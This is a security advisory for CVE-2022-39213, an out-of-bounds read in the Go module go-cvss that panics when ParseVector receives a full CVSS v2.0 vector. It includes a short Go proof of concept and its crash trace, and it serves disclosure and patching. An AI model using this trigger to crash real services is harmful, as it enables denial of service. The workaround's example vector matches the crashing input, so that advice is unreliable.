CVE-2022-39213 – github.com/pandatix/go-cvss

Package

Manager: go
Name: github.com/pandatix/go-cvss
Vulnerable Version: >=0.2.0 <0.4.0

Severity

Level: High

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS: 0.00169 pctl0.38572

Details

Go-CVSS has Out-of-bounds Read vulnerability in ParseVector function ### Impact When a full CVSS v2.0 vector string is parsed using `ParseVector`, an Out-of-Bounds Read is possible due to a lack of tests. The Go module will then panic. ### Patches The problem is patched in tag `v0.4.0`, by the commit `d9d478ff0c13b8b09ace030db9262f3c2fe031f4`. ### Workarounds The only way to avoid it is by parsing CVSS v2.0 vector strings that does not have all attributes defined (e.g. `AV:N/AC:L/Au:N/C:P/I:P/A:C/E:U/RL:OF/RC:C/CDP:MH/TD:H/CR:M/IR:M/AR:M`). ### References N/A ### CPE v2.3 As stated in [SECURITY.md](https://github.com/pandatix/go-cvss/blob/master/SECURITY.md), the CPE v2.3 to refer to this Go module is `cpe:2.3:a:pandatix:go_cvss:*:*:*:*:*:*:*:*`. The entry has already been requested to the NVD CPE dictionnary. ### Exploit example ```go package main import ( "log" gocvss20 "github.com/pandatix/go-cvss/20" ) func main() { _, err := gocvss20.ParseVector("AV:N/AC:L/Au:N/C:P/I:P/A:C/E:U/RL:OF/RC:C/CDP:MH/TD:H/CR:M/IR:M/AR:M") if err != nil { log.Fatal(err) } } ``` When ran, the following trace is returned. ``` panic: runtime error: index out of range [3] with length 3 goroutine 1 [running]: github.com/pandatix/go-cvss/20.ParseVector({0x4aed6c?, 0x0?}) /home/lucas/go/pkg/mod/github.com/pandatix/go-cvss@v0.2.0/20/cvss20.go:54 +0x578 main.main() /media/lucas/HDD-K/Documents/cve-2022-xxxxx/main.go:10 +0x25 exit status 2 ``` ### For more information If you have any questions or comments about this advisory: * Open an issue in [pandatix/go-cvss](https://github.com/pandatix/go-cvss/issues) * Email me at [lucastesson@protonmail.com](mailto:lucastesson@protonmail.com)

Metadata

Created: 2022-09-16T20:59:43Z
Modified: 2022-09-16T20:59:43Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/09/GHSA-xhmf-mmv2-4hhx/GHSA-xhmf-mmv2-4hhx.json
CWE IDs: ["CWE-125"]
Alternative ID: GHSA-xhmf-mmv2-4hhx
Finding: F063
Auto approve: 1